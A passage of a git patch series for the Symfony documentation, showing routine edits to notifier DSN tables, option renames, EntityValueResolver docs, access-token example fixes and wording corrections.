+Mastodon        ``symfony/mastodon-notifier``         ``mastodon://ACCESS_TOKEN@HOST``
 Mattermost      ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
 Mercure         ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
 MicrosoftTeams  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
@@ -218,7 +219,7 @@ Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST
 
 .. versionadded:: 6.3
 
-    The LINE Notify and Twitter integrations were introduced in Symfony 6.3.
+    The LINE Notify, Mastodon and Twitter integrations were introduced in Symfony 6.3.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 177f62012a17c1c87721dda429666a9475a622c3 Mon Sep 17 00:00:00 2001
From: Thibaut Cheymol <tcheymol@users.noreply.github.com>
Date: Sat, 3 Dec 2022 11:59:22 +0100
Subject: [PATCH 2585/5766] [FrameworkBundle] Rename option
 `catch_all_throwables` to `handle_all_throwables` in documentation

---
 reference/configuration/framework.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 5b6efc18f32..e8e3a3d7ce2 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -53,8 +53,8 @@ will invalidate all signed URIs and Remember Me cookies. That's why, after
 changing this value, you should regenerate the application cache and log
 out all the application users.
 
-catch_all_throwables
-~~~~~~~~~~~~~~~~~~~~
+handle_all_throwables
+~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -65,7 +65,7 @@ Starting from Symfony 7.0, the default value of this option will be ``true``.
 
 .. versionadded:: 6.2
 
-    The ``catch_all_throwables`` option was introduced in Symfony 6.2.
+    The ``handle_all_throwables`` option was introduced in Symfony 6.2.
 
 .. _configuration-framework-http_cache:
 

From 3e3eac17e384cc3c7b291085d15c76bdbabf18e8 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Mon, 5 Dec 2022 14:38:36 -0400
Subject: [PATCH 2586/5766] [Notifier] Fix merge conflict

---
 notifier.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index ac9a45b6591..7e51b5f20bd 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -85,11 +85,8 @@ Nexmo            ``symfony/nexmo-notifier``             Abandoned in favor of Vo
 Octopush         ``symfony/octopush-notifier``          ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OrangeSms        ``symfony/orange-sms-notifier``        ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
 OvhCloud         ``symfony/ovh-cloud-notifier``         ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
-<<<<<<< HEAD
 RingCentral      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
-=======
 Plivo            ``symfony/plivo-notifier``             ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM``
->>>>>>> 80403f278 ([Notifier] Add Plivo bridge)
 Sendberry        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 Sendinblue       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
 Sms77            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``

From cb091ded711de2e99d87a58af47af836addeda6f Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 5 Dec 2022 20:54:18 +0100
Subject: [PATCH 2587/5766] [Security] User in expression cannot be "anon"

---
 security/expressions.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 16989fd75ed..338c5c94ab9 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -44,7 +44,8 @@ syntax, see :doc:`/components/expression_language/syntax`.
 Inside the expression, you have access to a number of variables:
 
 ``user``
-    The user object (or the string ``anon`` if you're not authenticated).
+    An instance of :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface` that represents the current user
+    or ``null`` if you're not authenticated.
 ``role_names``
     An array with the string representation of the roles the user has. This array
     includes any roles granted indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it

From c22c47bb1e9890690f45a22f55c0cef34888c3bd Mon Sep 17 00:00:00 2001
From: Alex Plekhanov <alex@plekhanov.io>
Date: Mon, 5 Dec 2022 21:25:46 +0100
Subject: [PATCH 2588/5766] [Notifier] Updated chatter documentation with
 `Telegram::answerCallbackQuery`

---
 notifier/chatters.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 37d8631c067..c275c4683e6 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -332,6 +332,28 @@ a previous message to edit::
             ])
         );
 
+Answering Callback Queries in Telegram
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.3
+
+    The ``TelegramOptions::answerCallbackQuery()`` method was introduced in Symfony 6.3.
+
+When sending message with inline keyboard buttons with callback data, you can use
+:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` to `answer callback queries`_::
+
+    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Thank you!');
+    $telegramOptions = (new TelegramOptions())
+        ->chatId($chatId)
+        ->answerCallbackQuery(
+            callbackQueryId: '12345', // extracted from callback
+            showAlert: true,
+            cacheTime: 1,
+        );
+
 Adding text to a Microsoft Teams Message
 ----------------------------------------
 
@@ -424,3 +446,4 @@ The result will be something like:
 .. _`Embed elements`: https://discord.com/developers/docs/resources/webhook
 .. _`message options`: https://core.telegram.org/bots/api
 .. _`MessageCard options`: https://docs.microsoft.com/en-us/outlook/actionable-messages/message-card-reference
+.. _`answer callback queries`: https://core.telegram.org/bots/api#answercallbackquery

From 204941b91df5ae8198a297bd6b8ad65ffec71b44 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 6 Dec 2022 00:28:45 +0100
Subject: [PATCH 2589/5766] Removing another self-closing HTML slash

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 1d72af7bbe5..1db6fa4448a 100644
--- a/routing.rst
+++ b/routing.rst
@@ -301,7 +301,7 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
 
     HTML forms only support ``GET`` and ``POST`` methods. If you're calling a
     route with a different method from an HTML form, add a hidden field called
-    ``_method`` with the method to use (e.g. ``<input type="hidden" name="_method" value="PUT"/>``).
+    ``_method`` with the method to use (e.g. ``<input type="hidden" name="_method" value="PUT">``).
     If you create your forms with :doc:`Symfony Forms </forms>` this is done
     automatically for you.
 

From dc7c6a1366c0c87c17b707256b61f6e5eb9c821f Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 6 Dec 2022 15:46:06 +0100
Subject: [PATCH 2590/5766] [#17393] Finish entity value resolver docs

---
 best_practices.rst |  13 +-
 doctrine.rst       | 294 +++++++++++++++++----------------------------
 2 files changed, 116 insertions(+), 191 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index efe15c1c6fa..26187fd4d17 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -246,13 +246,13 @@ Instead, you must use dependency injection to fetch services by
 :ref:`type-hinting action method arguments <controller-accessing-services>` or
 constructor arguments.
 
-Use EntityValueResolver If It Is Convenient
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Use Entity Value Resolvers If They Are Convenient
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you're using :doc:`Doctrine </doctrine>`, then you can *optionally* use the
-`EntityValueResolver`_ to automatically query for an entity and pass it as an
-argument to your controller. It will also show a 404 page if no entity can be
-found.
+If you're using :doc:`Doctrine </doctrine>`, then you can *optionally* use
+the :ref:`EntityValueResolver <doctrine-entity-value-resolver>` to
+automatically query for an entity and pass it as an argument to your
+controller. It will also show a 404 page if no entity can be found.
 
 If the logic to get an entity from a route variable is more complex, instead of
 configuring the EntityValueResolver, it's better to make the Doctrine query
@@ -451,7 +451,6 @@ you must set up a redirection.
 .. _`Symfony Demo`: https://github.com/symfony/demo
 .. _`download Symfony`: https://symfony.com/download
 .. _`Composer`: https://getcomposer.org/
-.. _`ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`feature toggles`: https://en.wikipedia.org/wiki/Feature_toggle
 .. _`smoke testing`: https://en.wikipedia.org/wiki/Smoke_testing_(software)
 .. _`Webpack`: https://webpack.js.org/
diff --git a/doctrine.rst b/doctrine.rst
index 6ad5c6d665d..9e100a5e00b 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -598,61 +598,21 @@ the :ref:`doctrine-queries` section.
     see the web debug toolbar, install the ``profiler`` :ref:`Symfony pack <symfony-packs>`
     by running this command: ``composer require --dev symfony/profiler-pack``.
 
+.. _doctrine-entity-value-resolver:
+
 Automatically Fetching Objects (EntityValueResolver)
 ----------------------------------------------------
 
-In many cases, you can use the `EntityValueResolver`_ to do the query for you
-automatically! First, enable the feature:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/doctrine.yaml
-        doctrine:
-            orm:
-                controller_resolver:
-                    enabled: true
-                    auto_mapping: true
-                    evict_cache: false
-
-    .. code-block:: xml
-
-        <!-- config/packages/doctrine.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:doctrine="http://symfony.com/schema/dic/doctrine"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/doctrine
-                https://symfony.com/schema/dic/doctrine/doctrine-1.0.xsd">
-
-            <doctrine:config>
-                <!-- by convention the env var names are always uppercase -->
-                <doctrine:orm>
-                    <doctrine:controller_resolver auto_mapping="true" evict_cache="false"/>
-                </doctrine:orm>
-            </doctrine:config>
-
-        </container>
-
-    .. code-block:: php
+.. versionadded:: 6.2
 
-        // config/packages/doctrine.php
-        use Symfony\Config\DoctrineConfig;
+    Entity Value Resolver was introduced in Symfony 6.2.
 
-        return static function (DoctrineConfig $doctrine) {
-            $controllerResolver = $doctrine->orm()
-                ->entityManager('default')
-                    // ...
-                    ->controllerResolver();
+.. versionadded:: 2.7.1
 
-            $controllerResolver->autoMapping(true);
-            $controllerResolver->evictCache(true);
-        };
+    Autowiring of the ``EntityValueResolver`` was introduced in DoctrineBundle 2.7.1.
 
-Now, simplify your controller::
+In many cases, you can use the ``EntityValueResolver`` to do the query for you
+automatically! You can simplify the controller to::
 
     // src/Controller/ProductController.php
     namespace App\Controller;
@@ -676,15 +636,17 @@ Now, simplify your controller::
 That's it! The bundle uses the ``{id}`` from the route to query for the ``Product``
 by the ``id`` column. If it's not found, a 404 page is generated.
 
-This behavior can be enabled on all your controllers, by setting the ``auto_mapping``
-parameter to ``true``. Or individually on the desired controllers by using the
-``MapEntity`` attribute:
+This behavior is enabled by default on all your controllers. You can
+disable it by setting the ``doctrine.orm.controller_resolver.auto_mapping``
+config option to ``false``.
+
+When disabled, you can enable it individually on the desired controllers by
+using the ``MapEntity`` attribute::
 
     // src/Controller/ProductController.php
     namespace App\Controller;
 
     use App\Entity\Product;
-    use App\Repository\ProductRepository;
     use Symfony\Bridge\Doctrine\Attribute\MapEntity;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
@@ -702,31 +664,41 @@ parameter to ``true``. Or individually on the desired controllers by using the
         }
     }
 
+.. tip::
+
+    When enabled globally, it's possible to disabled the behavior on a specific
+    controller, by using the ``MapEntity`` set to ``disabled``.
+
+        public function show(
+            #[CurrentUser]
+            #[MapEntity(disabled: true)]
+            User $user
+        ): Response {
+            // User is not resolved by the EntityValueResolver
+            // ...
+        }
+
 Fetch Automatically
 ~~~~~~~~~~~~~~~~~~~
 
 If your route wildcards match properties on your entity, then the resolver
-will automatically fetch them:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
+will automatically fetch them::
 
-        /**
-         * Fetch via primary key because {id} is in the route.
-         */
-        #[Route('/product/{id}')]
-        public function showByPk(Post $post): Response
-        {
-        }
+    /**
+     * Fetch via primary key because {id} is in the route.
+     */
+    #[Route('/product/{id}')]
+    public function showByPk(Post $post): Response
+    {
+    }
 
-        /**
-         * Perform a findOneBy() where the slug property matches {slug}.
-         */
-        #[Route('/product/{slug}')]
-        public function showBySlug(Post $post): Response
-        {
-        }
+    /**
+     * Perform a findOneBy() where the slug property matches {slug}.
+     */
+    #[Route('/product/{slug}')]
+    public function showBySlug(Post $post): Response
+    {
+    }
 
 Automatic fetching works in these situations:
 
@@ -743,145 +715,99 @@ attribute and using the `MapEntity options`_.
 Fetch via an Expression
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-If automatic fetching doesn't work, use an expression:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
+If automatic fetching doesn't work, you can write an expression using the
+:doc:`ExpressionLanguage component </components/expression_language>`::
 
-        use Sensio\Bundle\FrameworkExtraBundle\Configuration\Entity;
-
-        #[Route('/product/{product_id}')]
-        public function show(
-            #[MapEntity(expr: 'repository.find(product_id)')]
-            Product $product
-        ): Response {
-        }
-
-Use the special ``MapEntity`` attribute with an ``expr`` option to
-fetch the object by calling a method on your repository. The
-``repository`` method will be your entity's Repository class and
-any route wildcards - like ``{product_id}`` are available as variables.
-
-This can also be used to help resolve multiple arguments:
+    #[Route('/product/{product_id}')]
+    public function show(
+        #[MapEntity(expr: 'repository.find(product_id)')]
+        Product $product
+    ): Response {
+    }
 
-.. configuration-block::
+In the expression, the ``repository`` variable will be your entity's
+Repository class and any route wildcards - like ``{product_id}`` are
+available as variables.
 
-    .. code-block:: php-attributes
+This can also be used to help resolve multiple arguments::
 
-        #[Route('/product/{id}/comments/{comment_id}')]
-        public function show(
-            Product $product
-            #[MapEntity(expr: 'repository.find(comment_id)')]
-            Comment $comment
-        ): Response {
-        }
+    #[Route('/product/{id}/comments/{comment_id}')]
+    public function show(
+        Product $product
+        #[MapEntity(expr: 'repository.find(comment_id)')]
+        Comment $comment
+    ): Response {
+    }
 
-In the example above, the ``$product`` argument is handled automatically, 
+In the example above, the ``$product`` argument is handled automatically,
 but ``$comment`` is configured with the attribute since they cannot both follow
 the default convention.
 
-.. _`MapEntity options`:
-
-
 MapEntity Options
 ~~~~~~~~~~~~~~~~~
 
-A number of ``options`` are available on the ``MapEntity`` annotation to 
+A number of options are available on the ``MapEntity`` annotation to
 control behavior:
 
-* ``id``: If an ``id`` option is configured and matches a route parameter, then
-  the resolver will find by the primary key:
-
-  .. configuration-block::
-
-      .. code-block:: php-attributes
-  
-          #[Route('/product/{product_id}')]
-          public function show(
-            Product $product
-            #[MapEntity(id: 'product_id')]
-            Comment $comment
-          ): Response {
-          }
-
-* ``mapping``: Configures the properties and values to use with the ``findOneBy()``
-  method: the key is the route placeholder name and the value is the Doctrine 
-  property name:
-
-  .. configuration-block::
-
-      .. code-block:: php-attributes
-
-          #[Route('/product/{category}/{slug}/comments/{comment_slug}')]
-          public function show(
-            #[MapEntity(mapping: ['date' => 'date', 'slug' => 'slug'])]
-            Product $product
-            #[MapEntity(mapping: ['comment_slug' => 'slug'])]
-            Comment $comment
-          ): Response {
-          }
-
-* ``exclude`` Configures the properties that should be used in the ``findOneBy()``
-  method by *excluding* one or more properties so that not *all* are used:
-
-  .. configuration-block::
-
-      .. code-block:: php-attributes
-
-          #[Route('/product/{slug}/{date}')]
-          public function show(
-            #[MapEntity(exclude: ['date'])]
-            Product $product
-            \DateTime $date
-          ): Response {
-          }
-
-* ``stripNull`` If true, then when ``findOneBy()`` is used, any values that 
-  are ``null`` will not be used for the query.
-
-* ``entityManager`` By default, the ``EntityValueResolver`` uses the *default*
-  entity manager, but you can configure this:
+``id``
+    If an ``id`` option is configured and matches a route parameter, then
+    the resolver will find by the primary key::
 
-  .. configuration-block::
+        #[Route('/product/{product_id}')]
+        public function show(
+          Product $product
+          #[MapEntity(id: 'product_id')]
+          Comment $comment
+        ): Response {
+        }
 
-      .. code-block:: php-attributes
+``mapping``
+    Configures the properties and values to use with the ``findOneBy()``
+    method: the key is the route placeholder name and the value is the Doctrine
+    property name::
 
-          #[Route('/product/{id}')]
-          public function show(
-            #[MapEntity(entityManager: ['foo'])]
-            Product $product
-          ): Response {
-          }
+        #[Route('/product/{category}/{slug}/comments/{comment_slug}')]
+        public function show(
+          #[MapEntity(mapping: ['date' => 'date', 'slug' => 'slug'])]
+          Product $product
+          #[MapEntity(mapping: ['comment_slug' => 'slug'])]
+          Comment $comment
+        ): Response {
+        }
 
-* ``evictCache`` If true, forces Doctrine to always fetch the entity from the 
-  database instead of cache.
+``exclude``
+    Configures the properties that should be used in the ``findOneBy()``
+    method by *excluding* one or more properties so that not *all* are used:
 
-* ``disabled`` If true, the ``EntityValueResolver`` will not try to replace 
-  the argument.
+        #[Route('/product/{slug}/{date}')]
+        public function show(
+          #[MapEntity(exclude: ['date'])]
+          Product $product
+          \DateTime $date
+        ): Response {
+        }
 
-.. tip::
+``stripNull``
+    If true, then when ``findOneBy()`` is used, any values that are
+    ``null`` will not be used for the query.
 
-    When enabled globally, it's possible to disabled the behavior on a specific
-    controller, by using the ``MapEntity`` set to ``disabled``.
+``entityManager``
+    By default, the ``EntityValueResolver`` uses the *default*
+    entity manager, but you can configure this::
 
+        #[Route('/product/{id}')]
         public function show(
-            #[CurrentUser]
-            #[MapEntity(disabled: true)]
-            User $user
+          #[MapEntity(entityManager: ['foo'])]
+          Product $product
         ): Response {
-            // User is not resolved by the EntityValueResolver
-            // ...
         }
 
-.. versionadded:: 6.2
-
-    Entity Value Resolver was introduced in Symfony 6.2.
-
-.. versionadded:: 2.7.1
+``evictCache``
+    If true, forces Doctrine to always fetch the entity from the database
+    instead of cache.
 
-    Autowiring of the ``EntityValueResolver`` was introduced in DoctrineBundle
-    2.7.1.
+``disabled``
+    If true, the ``EntityValueResolver`` will not try to replace the argument.
 
 Updating an Object
 ------------------

From e82b467752412b183f07c6d23795fce5845016f2 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 6 Dec 2022 16:08:10 +0100
Subject: [PATCH 2591/5766] Fix lint issues

---
 doctrine.rst | 25 ++++++++++++-------------
 1 file changed, 12 insertions(+), 13 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 9e100a5e00b..cd5806c4bbd 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -755,9 +755,9 @@ control behavior:
 
         #[Route('/product/{product_id}')]
         public function show(
-          Product $product
-          #[MapEntity(id: 'product_id')]
-          Comment $comment
+            Product $product
+            #[MapEntity(id: 'product_id')]
+            Comment $comment
         ): Response {
         }
 
@@ -768,10 +768,10 @@ control behavior:
 
         #[Route('/product/{category}/{slug}/comments/{comment_slug}')]
         public function show(
-          #[MapEntity(mapping: ['date' => 'date', 'slug' => 'slug'])]
-          Product $product
-          #[MapEntity(mapping: ['comment_slug' => 'slug'])]
-          Comment $comment
+            #[MapEntity(mapping: ['date' => 'date', 'slug' => 'slug'])]
+            Product $product
+            #[MapEntity(mapping: ['comment_slug' => 'slug'])]
+            Comment $comment
         ): Response {
         }
 
@@ -781,9 +781,9 @@ control behavior:
 
         #[Route('/product/{slug}/{date}')]
         public function show(
-          #[MapEntity(exclude: ['date'])]
-          Product $product
-          \DateTime $date
+            #[MapEntity(exclude: ['date'])]
+            Product $product
+            \DateTime $date
         ): Response {
         }
 
@@ -797,8 +797,8 @@ control behavior:
 
         #[Route('/product/{id}')]
         public function show(
-          #[MapEntity(entityManager: ['foo'])]
-          Product $product
+            #[MapEntity(entityManager: ['foo'])]
+            Product $product
         ): Response {
         }
 
@@ -1070,7 +1070,6 @@ Learn more
 .. _`Transactions and Concurrency`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/transactions-and-concurrency.html
 .. _`DoctrineMigrationsBundle`: https://github.com/doctrine/DoctrineMigrationsBundle
 .. _`NativeQuery`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/native-sql.html
-.. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`limit of 767 bytes for the index key prefix`: https://dev.mysql.com/doc/refman/5.6/en/innodb-limits.html
 .. _`Doctrine screencast series`: https://symfonycasts.com/screencast/symfony-doctrine
 .. _`API Platform`: https://api-platform.com/docs/core/validation/

From 51155cb1947e6db7326f483249ea904cccd22ccf Mon Sep 17 00:00:00 2001
From: Quentin ADADAIN <61509041+Qadadain@users.noreply.github.com>
Date: Tue, 6 Dec 2022 15:05:14 +0100
Subject: [PATCH 2592/5766] Fix typo, change parameter $accesToken to $token

Fix parameter name in documentation example.
---
 security/access_token.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 724979764a8..d5d607dbcb0 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -94,7 +94,7 @@ This handler must implement
         public function getUserBadgeFrom(string $accessToken): UserBadge
         {
             // e.g. query the "access token" database to search for this token
-            $accessToken = $this->repository->findOneByValue($token);
+            $accessToken = $this->repository->findOneByValue($accessToken);
             if (null === $accessToken || !$accessToken->isValid()) {
                 throw new BadCredentialsException('Invalid credentials.');
             }

From 6c19fa7a835ca9407bde4b7f91c9b2cb6fbc052f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 6 Dec 2022 16:46:57 +0100
Subject: [PATCH 2593/5766] Changing versionadded 5.1 to note

Reasons:
* Info about 5.1 doesn't make sense in 5.4 anymore.
* Link to `configureContainer` was dead anyway.
---
 configuration.rst | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 6d2638008fa..bf00e080262 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -60,13 +60,11 @@ configure your applications. Symfony lets you choose between YAML, XML and PHP
 and throughout the Symfony documentation, all configuration examples will be
 shown in these three formats.
 
-.. versionadded:: 5.1
+.. note::
 
-    Starting from Symfony 5.1, by default Symfony only loads the configuration
+    By default, Symfony only loads the configuration
     files defined in YAML format. If you define configuration in XML and/or PHP
-    formats, update the ``src/Kernel.php`` file to add support for the ``.xml``
-    and ``.php`` file extensions by overriding the
-    :method:`Symfony\\Component\\HttpKernel\\Kernel::configureContainer` method::
+    formats, update the ``src/Kernel.php`` file::
 
         // src/Kernel.php
         use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
@@ -93,8 +91,8 @@ shown in these three formats.
         }
 
 There isn't any practical difference between formats. In fact, Symfony
-transforms and caches all of them into PHP before running the application, so
-there's not even any performance difference between them.
+transforms all of them into PHP and caches them before running the application, so
+there's not even any performance difference.
 
 YAML is used by default when installing packages because it's concise and very
 readable. These are the main advantages and disadvantages of each format:

From 173ddb5f6a363b77e87cb2f599feac92b63b0999 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Wed, 7 Dec 2022 09:30:50 +0100
Subject: [PATCH 2594/5766] [DoctrineBridge] Add EntityValueResolver to the
 list of built-in value resolvers

---
 controller/value_resolver.rst | 29 ++++++++++++++++++++++++++++-
 1 file changed, 28 insertions(+), 1 deletion(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index f08aee9126d..a8c01407368 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -146,7 +146,7 @@ Symfony ships with the following value resolvers in the
     argument list. When the action is called, the last (variadic) argument will
     contain all the values of this array.
 
-In addition, some components and official bundles provide other value resolvers:
+In addition, some components, bridges and official bundles provide other value resolvers:
 
 :class:`Symfony\\Component\\Security\\Http\\Controller\\UserValueResolver`
     Injects the object that represents the current logged in user if type-hinted
@@ -159,6 +159,33 @@ In addition, some components and official bundles provide other value resolvers:
     user has a user class not matching the type-hinted class, an ``AccessDeniedException``
     is thrown by the resolver to prevent access to the controller.
 
+:class:`Symfony\\Bridge\\Doctrine\\ArgumentResolver\\EntityValueResolver`
+    Automatically query for an entity and pass it as an argument to your controller.
+
+    For example, the following will query the ``Product`` entity which has ``{id}`` as primary key::
+
+        // src/Controller/DefaultController.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class DefaultController
+        {
+            #[Route('/product/{id}')]
+            public function share(Product $product): Response
+            {
+                // ...
+            }
+        }
+
+    To learn more about the use of the ``EntityValueResolver``, see the dedicated
+    section :ref:`Automatically Fetching Objects <doctrine-entity-value-resolver>`.
+
+    .. versionadded:: 6.2
+
+        The ``EntityValueResolver`` was introduced in Symfony 6.2.
+
 PSR-7 Objects Resolver:
     Injects a Symfony HttpFoundation ``Request`` object created from a PSR-7 object
     of type :class:`Psr\\Http\\Message\\ServerRequestInterface`,

From 06374e86793bc9bd63365ef0f7a50466b55213cb Mon Sep 17 00:00:00 2001
From: Robin Willig <robin@dragonito.net>
Date: Tue, 6 Dec 2022 19:37:39 +0100
Subject: [PATCH 2595/5766] Add comma

---
 components/validator/resources.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index cd02404f765..7af7d1a4622 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -76,7 +76,7 @@ configure the locations of these files::
 
 .. note::
 
-    If you want to load YAML mapping files then you will also need to install
+    If you want to load YAML mapping files, then you will also need to install
     :doc:`the Yaml component </components/yaml>`.
 
 .. tip::

From bb2cee77f82eeb550f16430edb0bb7b5dadaed80 Mon Sep 17 00:00:00 2001
From: Robin Willig <robin@dragonito.net>
Date: Tue, 6 Dec 2022 20:20:24 +0100
Subject: [PATCH 2596/5766] Some little corrections

---
 README.markdown | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/README.markdown b/README.markdown
index 79e6758c24e..3050aa12301 100644
--- a/README.markdown
+++ b/README.markdown
@@ -24,15 +24,15 @@ Contributing
 ------------
 
 We love contributors! For more information on how you can contribute, please read
-the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html)
+the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html).
 
 **Important**: use `4.4` branch as the base of your pull requests, unless you are
-documenting a feature that was introduced *after* Symfony 4.4 (e.g. in Symfony 5.4).
+documenting a feature that was introduced *after* Symfony 4.4 (e.g., in Symfony 5.4).
 
 Build Documentation Locally
 ---------------------------
 
-This is not needed for contributing, but it's useful if you want to debug some
+This is not needed for contributing, but it's useful if you would like to debug some
 issue in the docs or if you want to read Symfony Documentation offline.
 
 ```bash

From 01041a0b3c4b43e73525a6b37556be50c570f61e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Dec 2022 18:00:18 +0100
Subject: [PATCH 2597/5766] Minor tweak

---
 README.markdown | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.markdown b/README.markdown
index 3050aa12301..b8c8f863b4d 100644
--- a/README.markdown
+++ b/README.markdown
@@ -27,7 +27,7 @@ We love contributors! For more information on how you can contribute, please rea
 the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html).
 
 **Important**: use `4.4` branch as the base of your pull requests, unless you are
-documenting a feature that was introduced *after* Symfony 4.4 (e.g., in Symfony 5.4).
+documenting a feature that was introduced *after* Symfony 4.4 (e.g. in Symfony 5.4).
 
 Build Documentation Locally
 ---------------------------

From 4ceb7733302dfe8d974b89ba8756f02e296fcd49 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Thu, 8 Dec 2022 11:56:39 +0100
Subject: [PATCH 2598/5766] [Notifier] Add PushNotificationInterface to the
 list of interfaces to customize a notification

---
 notifier.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 40d3a80a027..d56cd3534c7 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -724,9 +724,10 @@ and its ``asChatMessage()`` method::
     }
 
 The
-:class:`Symfony\\Component\\Notifier\\Notification\\SmsNotificationInterface`
-and
+:class:`Symfony\\Component\\Notifier\\Notification\\SmsNotificationInterface`,
 :class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface`
+and
+:class:`Symfony\\Component\\Notifier\\Notification\\PushNotificationInterface`
 also exists to modify messages sent to those channels.
 
 Disabling Delivery

From 49e516a25cb77f45b11b9a44615152836fa1920c Mon Sep 17 00:00:00 2001
From: Robin Willig <robin@dragonito.net>
Date: Tue, 6 Dec 2022 19:25:39 +0100
Subject: [PATCH 2599/5766] Better wording

---
 components/validator/metadata.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/validator/metadata.rst b/components/validator/metadata.rst
index 1ab98a590d6..226ffd46b06 100755
--- a/components/validator/metadata.rst
